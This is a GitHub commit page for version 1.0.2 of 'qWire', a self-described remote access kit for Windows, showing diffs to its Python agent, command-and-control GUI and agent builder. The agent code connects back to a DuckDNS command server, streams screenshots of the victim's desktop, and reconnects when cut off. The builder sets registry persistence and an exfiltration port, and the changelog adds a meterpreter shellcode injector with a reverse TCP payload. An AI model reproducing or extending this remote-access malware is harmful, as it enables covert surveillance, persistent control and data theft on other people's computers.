Skip to content
This repository was archived by the owner on May 25, 2023. It is now read-only.

Commit 7d79fc1

Browse files
committed
Update 1.0.2
1 parent ed4e8d6 commit 7d79fc1

Some content is hidden

Large Commits have some content hidden by default. Use the searchbox below for content that may be hidden.

43 files changed

+414
-814
lines changed

LICENSE

Lines changed: 0 additions & 674 deletions
This file was deleted.

README.md

Lines changed: 11 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -51,4 +51,14 @@ Server tested on:
5151
* Added "Task Manager" to client menu in Enumeration > Task Manager
5252
* Encryption iterations for agent builder now configurable in settings
5353
* Main window now dispalys build number ex: qWire CnC Build: 101
54-
* Agent variable length is now configurable in Settings > Builder > Variable Length
54+
* Agent variable length is now configurable in Settings > Builder > Variable Length
55+
56+
# Update 1.0.2
57+
* Fixed various bugs related to the network interface
58+
* Various other bug fixes
59+
* Re-arranged main gui widgets
60+
* Main gui now has a maximum size
61+
* Connection & Task Manager widgets will now highlight the entire row
62+
* Added meterpreter shellcode injector in the Task Manager
63+
* Added x64/Reverse TCP payload to injector
64+
* Added CMD Shell to Shells > System Shells

agent/agent.py

Lines changed: 17 additions & 11 deletions
Original file line numberDiff line numberDiff line change
@@ -10,7 +10,7 @@
1010
# [A Remote Access Kit for Windows]
1111
# Author: SlizBinksman
1212
# Github: https://github.com/slizbinksman
13-
# Build: 1.0.1
13+
# Build: 1.0.2
1414
# -------------------------------------------------------------
1515

1616
import socket
@@ -136,7 +136,7 @@ class ClientSocket:
136136
# Keep all strings in an init function for later usage
137137
def __init__(self):
138138
self.heartbeat = 'echo'
139-
self.dns_address = 'manuallolz.duckdns.org'
139+
self.dns_address = ''
140140
self.env_var = 'USERNAME'
141141
self.python_flag = 'python'
142142
self.system_command = 'system'
@@ -249,13 +249,20 @@ def main(self):
249249

250250
#Function will retrieve all data sent by server socket
251251
def recv_all_data(self):
252-
bytes_data = b'' #Create empty byte string
253-
while True: #Create infinite loop
254-
partial_data = self.client_socket.recv(BUFFER) #Receive encrypted data from server
255-
bytes_data += partial_data #Add each itteration to empty byte string
256-
if len(partial_data) < int(BUFFER): #If the length of the partial string is less than the buffer size
257-
break #Data transmission is complete. Break the loop
258-
return bytes_data #Return byte data string sent from server
252+
try:
253+
bytes_data = b'' #Create empty bytes object
254+
initial_data = self.client_socket.recv(BUFFER) #Get initial data from server
255+
data_size = initial_data.split('|'.encode()) #Grabe the size of the data from the forefront
256+
if len(initial_data) < int(str(data_size[0].decode())): #If the length of the init data is less than the size of the data sent
257+
bytes_data+=data_size[1] #Add the encrypted data to the bytes object
258+
while len(bytes_data) != int(str(data_size[0].decode())): #While the length of the bytes obj is not equal to the size of the encrypted data
259+
partial_data = self.client_socket.recv(BUFFER) #Receive more data
260+
bytes_data += partial_data #Add data to bytes object
261+
return bytes_data #Return the bytes data when the data received == the data sent
262+
else: #Else the initial data is all the data
263+
return data_size[1] #Return the encrypted data half of the array from the split
264+
except ValueError: #If there is a value error, indicating the connection with the server was lost
265+
return self.connect_to_server() #connect back to the server
259266

260267
#Funtion will get data from the server and return it as plaintext. If the server disconnects, the client will attempt
261268
#To connect back
@@ -287,7 +294,6 @@ class StreamSocket:
287294

288295
def __init__(self):
289296
self.image_file_path = str(f'{os.getenv("userprofile")}\\AppData\\Local\\Temp\\c.jpg')
290-
self.dns_address = 'manuallolz.duckdns.org'
291297

292298
#Function will take a screenshot, save, read and return the data
293299
def take_screenshot(self):
@@ -301,7 +307,7 @@ def take_screenshot(self):
301307
#Function will take single or multiple screenshots depending on boolean parameter
302308
def stream_desktop(self,screenshot):
303309
StreamSocket = socket.socket(socket.AF_INET,socket.SOCK_STREAM) #Create socket
304-
ip_address = socket.gethostbyname(self.dns_address) #Resolve dns
310+
ip_address = socket.gethostbyname(ClientSocket().dns_address) #Resolve dns
305311
StreamSocket.connect((ip_address,STRM_PORT)) #connect to ip and streaming port
306312
if not screenshot: #If screenshot is false
307313
while True: #Start loop

core/Qt5/ListenerGUI.py

Lines changed: 7 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -10,7 +10,7 @@
1010
# [A Remote Access Kit for Windows]
1111
# Author: SlizBinksman
1212
# Github: https://github.com/slizbinksman
13-
# Build: 1.0.1
13+
# Build: 1.0.2
1414
# -------------------------------------------------------------
1515
from PyQt5.QtWidgets import QWidget,QMenu
1616
from PyQt5.QtCore import QEvent
@@ -33,9 +33,9 @@ def CreateNewListener(self):
3333
'Bad Port Number')
3434
else:
3535
if NetworkingConfigs().add_port_to_config_file(str(port_number)) == True: #If port was able to be appended to cfg cfile,
36-
item = QtWidgets.QListWidgetItem(IconObj().port_icon,port_number) #Create item
37-
self.PortDisplay.addItem(item) # Append value to port display
38-
ServerSocket().create_new_socket(int(port_number)) # Create new socket, bind to current IP address on interface tun0 and append to socket array
36+
if ServerSocket().create_new_socket(int(port_number)) == True: #If a socket can be created and bound to the port,
37+
item = QtWidgets.QListWidgetItem(IconObj().port_icon,port_number) #Create item
38+
self.PortDisplay.addItem(item) # Append value to port display
3939
else:
4040
pass
4141

@@ -51,17 +51,19 @@ def CreateNewListener(self):
5151

5252
#Create a content menu when port display is right clicked
5353
def eventFilter(self, source, event):
54-
if event.type() == QEvent.ContextMenu and source is self.PortDisplay:
54+
if event.type() == QEvent.ContextMenu and source is self.PortDisplay and self.PortDisplay.currentRow() > -1:
5555
try: # Use try block to prevent program from crashing if no port exists when port display action code is executed
5656
menu = QMenu(self)
5757
start_listener = menu.addAction('Start Listener') #Add actions to the menu
5858
delete_listener = menu.addAction('Destroy Listener')
5959
action = menu.exec_(self.mapToGlobal(event.globalPos())) #GlobalPos will make sure context menu opens where mouse is clicked
6060
#port_number will get the value from the box that gets clicked. the value is our port number
6161
port_number = source.itemAt(event.pos()).text() #This line will crash the program without the try/except block
62+
6263
if action == start_listener:
6364
ServerSocket().start_listening_on_socket(port_number)
6465
NetworkingConfigs().record_listening_socket(port_number)
66+
6567
if action == delete_listener:
6668
row = self.PortDisplay.currentRow() # Get the row number of the selected listener
6769
self.PortDisplay.takeItem(row) # Remove port from gui

core/Qt5/agent_builder_window.py

Lines changed: 13 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -10,7 +10,7 @@
1010
# [A Remote Access Kit for Windows]
1111
# Author: SlizBinksman
1212
# Github: https://github.com/slizbinksman
13-
# Build: 1.0.1
13+
# Build: 1.0.2
1414
# -------------------------------------------------------------
1515
from ..logging.logging import DNSconfigs,NetworkingConfigs
1616
from ..builder.agent_builder import Builder
@@ -43,12 +43,19 @@ def check_builder_options(self):
4343
if reg_key == '': #If reg key is stil empty string,
4444
ErrorHandling().raise_error('Persistence option required.','','Build Failure') #Raise error
4545
return #Return back to calling function
46+
4647
else:
47-
#If no error, parse host option and then create the agent
48-
host = NicHandler().validate_host(self.host_combobox.currentText()) #Validate the host
49-
Builder().create_agent(
50-
self.port_input.text(), self.stream_port_input.text(), self.exfil_port_input.text(),
51-
host, self.file_name_input.text(),reg_key,perst_option,encryption_option) #
48+
49+
host = NicHandler().validate_host(self.host_combobox.currentText()) #Get the IP string if local or public has been selected
50+
if host == '': #If an empty string is returned,
51+
ErrorHandling().raise_error('Error building agent', #Raise error
52+
'Host not valid',
53+
'Build Failure')
54+
#else, if no error, parse options and create agent
55+
else:
56+
Builder().create_agent(
57+
self.port_input.text(), self.stream_port_input.text(), self.exfil_port_input.text(),
58+
host, self.file_name_input.text(),reg_key,perst_option,encryption_option) #
5259

5360
def setupUi(self, builder_dialog):
5461
builder_dialog.setObjectName("builder_dialog")

core/Qt5/domains_window.py

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -10,7 +10,7 @@
1010
# [A Remote Access Kit for Windows]
1111
# Author: SlizBinksman
1212
# Github: https://github.com/slizbinksman
13-
# Build: 1.0.1
13+
# Build: 1.0.2
1414
# -------------------------------------------------------------
1515
from PyQt5 import QtCore, QtWidgets
1616
from ..Qt5.icons import IconObj

core/Qt5/duck_dns_token_window.py

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -10,7 +10,7 @@
1010
# [A Remote Access Kit for Windows]
1111
# Author: SlizBinksman
1212
# Github: https://github.com/slizbinksman
13-
# Build: 1.0.1
13+
# Build: 1.0.2
1414
# -------------------------------------------------------------
1515
from PyQt5 import QtCore, QtGui, QtWidgets
1616
from ..logging.logging import LoggingUtilitys,DNSconfigs

0 commit comments

Comments
 (0)